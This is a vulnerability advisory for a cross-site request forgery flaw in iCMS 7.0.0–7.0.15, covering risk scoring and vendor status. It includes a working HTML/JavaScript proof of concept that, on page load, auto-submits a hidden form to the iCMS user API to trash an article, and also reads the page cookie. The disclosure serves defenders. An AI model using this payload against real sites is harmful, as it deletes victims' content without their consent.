#VU21270 Cross-site request forgery in iCMS
Vulnerability identifier: #VU21270
Vulnerability risk: Low
CVSSv3.1: 6.2 [CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N/E:U/RL:U/RC:C]
CVE-ID:
CWE-ID:
CWE-352
Exploitation vector: Network
Exploit availability: No
Vulnerable software:
iCMS
Web applications /
CMS
Vendor: iCMS
Description
The vulnerability allows a remote attacker to perform cross-site request forgery attacks.
The vulnerability exists due to insufficient validation of the HTTP request origin. A remote authenticated attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website, such as delete users' articles via the "public/api.php?app=user" URI.
PoC:
<html>
<body>
<script type="text/javascript">
var x = document.cookie;
alert(x);
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;
fields += "<input type='hidden' name='id' value='1'>";
fields += "<input type='hidden' name='act' value='trash'>";
fields += "<input type='hidden' name='pg' value='article'>";
fields += "<input type='hidden' name='action' value='manage'>";
var url = "http://localhost/iCMS-7.0/public/api.php?app=user";
post(url,fields);
}
window.onload = function() { csrf_hack();}
</script>
</body>
</html>Mitigation
Cybersecurity Help is currently unaware of any official solution to address this vulnerability.
Vulnerable software versions
iCMS: 7.0.0 - 7.0.15
External links
http://github.com/idreamsoft/iCMS/issues/56
Q & A
Can this vulnerability be exploited remotely?
Yes. This vulnerability can be exploited by a remote authenticated user via the Internet.
Is there known malware, which exploits this vulnerability?
No. We are not aware of malware exploiting this vulnerability.
